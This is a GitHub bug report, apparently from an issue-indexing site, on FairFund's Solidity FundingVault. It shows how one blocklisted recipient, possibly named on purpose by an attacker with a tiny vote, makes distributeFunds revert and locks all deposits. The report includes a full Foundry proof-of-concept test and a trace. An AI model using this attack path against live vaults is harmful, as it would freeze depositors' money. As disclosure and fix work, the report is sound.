[BUG]: One blocked recipient makes distributeFunds revert and locks all vault funds
Assessment
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Newbie friendliness
- 18/100
- Issue type
- Bug
- Clarity
- Mostly clear
- Activity status
- Stale
- Tech stack
- solidity
- Domain
- blockchain, payments
Research direction
The bug is in distributeFunds() and withdrawRemaining() in app/blockchain/src/FundingVault.sol, where a failed transfer reverts the whole call. The reproduction is the Foundry file app/blockchain/test/unit/FundingVaultBlockedRecipient.t.sol, run with forge test --match-contract FundingVaultBlockedRecipientTest -vvv. Pull request #91 is already open against this issue, so check its state and discussion before starting; the proposed retry-based fix is a design change, not a one-line edit.
Written by the indexing model from the issue text.
Description
Bug Description
FundingVault.distributeFunds() pays every winning proposal and the platform fee in one transaction.
Each payout reverts the whole call if the transfer fails.
Tokens like USDC can block an address. If one winning recipient is blocked, distributeFunds() reverts every time it is called. It sets s_fundsDistributed = true first (L290), but the revert undoes that.
withdrawRemaining() only works after distribution.
So depositors can never withdraw either. No winner is paid. No depositor gets the rest back. The whole funding balance stays stuck until the token issuer unblocks that recipient, which may never happen. The vault has no owner, no rescue function, no way to skip a proposal and no claim path. Voters can still get their voting tokens back with releaseVotingTokens(). Only the funding token is stuck.
This can happen in two ways.
- An honest recipient is blocked by the token issuer after the vote.
- Anyone can do it on purpose.
submitProposal()only checks that_recipientis not zero, and the recipient can never be changed.
A proposal is accepted when its share is at least its own minimumAmount (L269). That minimum can be as low as the vault minimum. So an attacker names an already blocked address, sets a low minimum and votes with a tiny amount. In the test below the attacker's vote was 1/20,000 of the honest votes, and that was enough to lock the vault.
The fee payment has the same shape. It sends the fee to the FairFund contract and reverts on failure.
If that address were ever blocked, every vault with that token that has not distributed yet would be locked too.
Proposed fix
Do not revert the whole distribution when one payout fails.
- If a payout fails, keep that amount reserved for that winner. Anyone can call a new
retryPayout(proposalId)later. It only pays the original recipient. - The platform fee works the same way with
retryPlatformFee(). - Depositors get the same amount as in a normal round.
This is the same kind of bug as StabilityNexus/Gluon-EVM#79.
Steps to Reproduce
- Create a vault whose funding token can block addresses (for example USDC).
- Two users deposit. Two proposals get votes and win.
- The token blocks one winning recipient. Or an attacker submits a proposal with a blocked recipient and votes for it with a tiny amount.
- After the tally date call
distributeFunds(). It reverts. - Each depositor calls
withdrawRemaining(). It reverts withFundingVault__FundsNotDistributedYet. - Calling again later changes nothing.
Foundry test (added locally as app/blockchain/test/unit/FundingVaultBlockedRecipient.t.sol, full file below):
cd app/blockchain
forge test --match-contract FundingVaultBlockedRecipientTest -vvv
The funding token in the test reverts on transfers to a blocked address, like USDC does. The first test is a normal round and it works. The other two show the lock.
Logs and Screenshots
Ran 3 tests for test/unit/FundingVaultBlockedRecipient.t.sol:FundingVaultBlockedRecipientTest
[PASS] test_AttackerNamesBlockedRecipient_WithTinyVote_LocksWholeVault() (gas: 1098260)
[PASS] test_BlockedWinningRecipient_LocksWholeVault() (gas: 900416)
[PASS] test_NormalRound_DistributesAndDepositorsWithdraw() (gas: 882764)
Suite result: ok. 3 passed; 0 failed; 0 skipped; finished in 2.28ms (2.06ms CPU time)
Trace of test_BlockedWinningRecipient_LocksWholeVault (-vvvv). Recipient 1 is paid inside the call. Then the payment to recipient 2 reverts and undoes everything.
├─ [108181] FundingVault::distributeFunds()
│ ├─ [2482] FairFund::getPlatformFee() [staticcall]
│ │ └─ ← [Return] 5
│ ├─ [505] VotingPowerToken::totalSupply() [staticcall]
│ │ └─ ← [Return] 20000000000000000000 [2e19]
│ ├─ [35117] BlocklistERC20::transfer(recipient1: [0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff], 28500000000000000000 [2.85e19])
│ │ ├─ emit Transfer(from: FundingVault: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], to: recipient1: [0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff], value: 28500000000000000000 [2.85e19])
│ │ └─ ← [Return] true
│ ├─ emit FundsDistributed(proposalId: 1, recipient: recipient1: [0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff], amount: 28500000000000000000 [2.85e19])
│ ├─ [505] VotingPowerToken::totalSupply() [staticcall]
│ │ └─ ← [Return] 20000000000000000000 [2e19]
│ ├─ [1663] BlocklistERC20::transfer(recipient2: [0x0921cA5C07Dc02147c6178dC1FAE9BD2F3eb053a], 19000000000000000000 [1.9e19])
│ │ └─ ← [Revert] Blocklistable: account is blacklisted
│ └─ ← [Revert] Blocklistable: account is blacklisted
├─ [2863] BlocklistERC20::balanceOf(recipient1: [0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff]) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::assertEq(0, 0) [staticcall]
│ └─ ← [Return]
├─ [0] VM::prank(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6])
│ └─ ← [Return]
├─ [0] VM::expectRevert(custom error 0xc31eb0e0: 82f3861b00000000000000000000000000000000000000000000000000000000)
│ └─ ← [Return]
├─ [5528] FundingVault::withdrawRemaining()
│ └─ ← [Revert] FundingVault__FundsNotDistributedYet()
├─ [0] VM::prank(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e])
│ └─ ← [Return]
├─ [0] VM::expectRevert(custom error 0xc31eb0e0: 82f3861b00000000000000000000000000000000000000000000000000000000)
│ └─ ← [Return]
├─ [5528] FundingVault::withdrawRemaining()
│ └─ ← [Revert] FundingVault__FundsNotDistributedYet()
FundingVaultBlockedRecipient.t.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;
import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {FundingVault} from "../../src/FundingVault.sol";
import {FairFund} from "../../src/FairFund.sol";
import {VotingPowerToken} from "../../src/VotingPowerToken.sol";
import {MockERC20} from "../../src/mocks/MockERC20.sol";
/// @dev Funding token that refuses transfers to blocklisted addresses.
/// USDC reverts in this case.
contract BlocklistERC20 is ERC20 {
mapping(address => bool) public isBlocked;
constructor() ERC20("Blocklist USD", "BUSD") {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
function setBlocked(address account, bool blocked) external {
isBlocked[account] = blocked;
}
function _update(address from, address to, uint256 value) internal override {
require(!isBlocked[from] && !isBlocked[to], "Blocklistable: account is blacklisted");
super._update(from, to, value);
}
}
contract FundingVaultBlockedRecipientTest is Test {
FairFund fairFund;
FundingVault vault;
BlocklistERC20 fundingToken;
MockERC20 votingToken;
VotingPowerToken votingPowerToken;
address alice = makeAddr("alice"); // depositor
address bob = makeAddr("bob"); // depositor
address voter1 = makeAddr("voter1");
address voter2 = makeAddr("voter2");
address recipient1 = makeAddr("recipient1");
address recipient2 = makeAddr("recipient2");
address attacker = makeAddr("attacker");
address blockedAddr = makeAddr("blockedAddr");
uint256 constant ALICE_DEPOSIT = 60 ether;
uint256 constant BOB_DEPOSIT = 40 ether;
function setUp() external {
fairFund = new FairFund(5); // 5% platform fee, same as DeployFairFund
fundingToken = new BlocklistERC20();
votingToken = new MockERC20("VotingToken", "VTK");
votingPowerToken = new VotingPowerToken("VotingPowerToken", "VOTE", votingToken.decimals());
vault = new FundingVault(
address(fundingToken),
address(votingToken),
address(votingPowerToken),
1, // min requestable
50 ether, // max requestable
block.timestamp + 1 days,
address(fairFund)
);
votingPowerToken.transferOwnership(address(vault));
_deposit(alice, ALICE_DEPOSIT);
_deposit(bob, BOB_DEPOSIT);
}
function _deposit(address user, uint256 amount) internal {
fundingToken.mint(user, amount);
vm.startPrank(user);
fundingToken.approve(address(vault), amount);
vault.deposit(amount);
vm.stopPrank();
}
function _registerAndVote(address voter, uint256 amount, uint256 proposalId) internal {
votingToken.mint(voter, amount);
vm.startPrank(voter);
votingToken.approve(address(vault), amount);
vault.register(amount);
votingPowerToken.approve(address(vault), amount);
vault.voteOnProposal(proposalId, amount);
vm.stopPrank();
}
/// Two proposals win 30 and 20. 50 stays in the vault for depositors.
function _honestRound() internal {
vault.submitProposal("p1", 1 ether, 30 ether, recipient1);
vault.submitProposal("p2", 1 ether, 20 ether, recipient2);
_registerAndVote(voter1, 10 ether, 1);
_registerAndVote(voter2, 10 ether, 2);
}
// Baseline: everything works when every recipient can receive the token.
function test_NormalRound_DistributesAndDepositorsWithdraw() public {
_honestRound();
vm.warp(block.timestamp + 2 days);
vault.distributeFunds();
assertEq(fundingToken.balanceOf(recipient1), 28.5 ether); // 30 minus 5% fee
assertEq(fundingToken.balanceOf(recipient2), 19 ether); // 20 minus 5% fee
assertEq(fundingToken.balanceOf(address(fairFund)), 2.5 ether);
vm.prank(alice);
vault.withdrawRemaining();
vm.prank(bob);
vault.withdrawRemaining();
assertEq(fundingToken.balanceOf(alice), 30 ether);
assertEq(fundingToken.balanceOf(bob), 20 ether);
assertEq(fundingToken.balanceOf(address(vault)), 0);
}
// An honest winning recipient is blocklisted by the token issuer before distribution.
function test_BlockedWinningRecipient_LocksWholeVault() public {
_honestRound();
fundingToken.setBlocked(recipient2, true);
vm.warp(block.timestamp + 2 days);
vm.expectRevert(bytes("Blocklistable: account is blacklisted"));
vault.distributeFunds();
// The other winner got nothing.
assertEq(fundingToken.balanceOf(recipient1), 0);
// No depositor can withdraw.
vm.prank(alice);
vm.expectRevert(FundingVault.FundingVault__FundsNotDistributedYet.selector);
vault.withdrawRemaining();
vm.prank(bob);
vm.expectRevert(FundingVault.FundingVault__FundsNotDistributedYet.selector);
vault.withdrawRemaining();
// Retrying much later changes nothing. All 100 tokens stay locked.
vm.warp(block.timestamp + 365 days);
vm.expectRevert(bytes("Blocklistable: account is blacklisted"));
vault.distributeFunds();
assertEq(fundingToken.balanceOf(address(vault)), ALICE_DEPOSIT + BOB_DEPOSIT);
}
// Anyone can submit a proposal that names an already blocklisted address.
// Recipient is never checked or changeable. A tiny vote is enough because
// minimumAmount can be 1 wei, so the proposal is always "accepted".
function test_AttackerNamesBlockedRecipient_WithTinyVote_LocksWholeVault() public {
fundingToken.setBlocked(blockedAddr, true);
_honestRound();
vm.prank(attacker);
uint256 badId = vault.submitProposal("looks normal", 1, 1 ether, blockedAddr);
_registerAndVote(attacker, 0.001 ether, badId); // 1/20,000 of the honest votes
vm.warp(block.timestamp + 2 days);
assertGt(vault.calculateFundingToBeReceived(badId), 0);
vm.expectRevert(bytes("Blocklistable: account is blacklisted"));
vault.distributeFunds();
vm.prank(alice);
vm.expectRevert(FundingVault.FundingVault__FundsNotDistributedYet.selector);
vault.withdrawRemaining();
vm.prank(bob);
vm.expectRevert(FundingVault.FundingVault__FundsNotDistributedYet.selector);
vault.withdrawRemaining();
assertEq(fundingToken.balanceOf(recipient1), 0);
assertEq(fundingToken.balanceOf(recipient2), 0);
assertEq(fundingToken.balanceOf(address(vault)), ALICE_DEPOSIT + BOB_DEPOSIT);
}
}
Environment Details
- Commit:
4f8d676onmain - Contract:
app/blockchain/src/FundingVault.sol - Foundry: forge 1.5.1 (b0a9dd9), solc 0.8.33,
evm_version = "Paris" - OpenZeppelin contracts: 5.0.2
- OS: macOS
Impact
Critical. One blocked recipient locks every depositor's funds in that vault until the recipient is unblocked, which may never happen. Anyone can trigger it with a tiny vote.
No live vault is affected today. The FairFund contract on Polygon mainnet (0xb6DC3AF544303f41478821C0DFB9aF57c278Cb34) returns 0 from getTotalNumberOfFundingVaults(). Every future vault funded with a token like USDC is affected.
Code of Conduct
- I have joined the Discord server and will post updates there
- I have searched existing issues to avoid duplicates
- Dominant language
- Solidity
- Stars
- 17
- Forks
- 29
- PR merge metrics
- No merged PRs in 30d
Getting set up
This project ships no dev container, Dockerfile or contributing guide, so setting up is up to you: start from its README, and see our first-contribution guide for the general steps.
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
More from StabilityNexus/FairFund
-
bug
Difficulty 2/5 1-3 hours Newbie friendliness 72/100
StabilityNexus/FairFund#92 ·
-
Voting power token reports 18 decimals for non-18-decimal voting tokensPossibly taken A pull request linked to this issue is open or already merged. Openbug
Difficulty 2/5 1-3 hours Newbie friendliness 75/100
StabilityNexus/FairFund#89 ·
-
Difficulty 2/5 1-3 hours Newbie friendliness 88/100
StabilityNexus/FairFund#88 · 1 comment ·
-
No License.mdOpen
Difficulty 1/5 Under an hour Newbie friendliness 35/100
StabilityNexus/FairFund#83 ·
-
Add a Troubleshooting and Onboarding Section to DocumentationMay be free again A pull request for this issue was closed without being merged. Opengood first issue
Difficulty 3/5 3-5 days Newbie friendliness 35/100
StabilityNexus/FairFund#60 · 4 comments ·
All issues in StabilityNexus/FairFund
Similar issues
-
eth_get_proof reports another account's fields for an absent accountPossibly taken @Indian-boult claimed this today. Open
Difficulty 2/5 1-3 hours Newbie friendliness 72/100
Maintainers usually reply within 1 day
-
bug good first issue
Difficulty 2/5 1-3 hours Newbie friendliness 88/100
-
eth_blobBaseFee should return the blob base fee of the next blockPossibly taken A pull request linked to this issue is open or already merged. Open
Difficulty 2/5 1-3 hours Newbie friendliness 70/100
ethereum/go-ethereum#36196 ·
Maintainers usually reply within 3 days
-
bug Contract security
Difficulty 2/5 1-3 hours Newbie friendliness 62/100
DogStark/PetChain-Contracts#1644 ·
Maintainers usually reply within 1 day
-
Difficulty 2/5 1-3 hours Newbie friendliness 82/100
solana-foundation/solana-web3.js#4081 · 1 comment ·
Maintainers usually reply within 1 day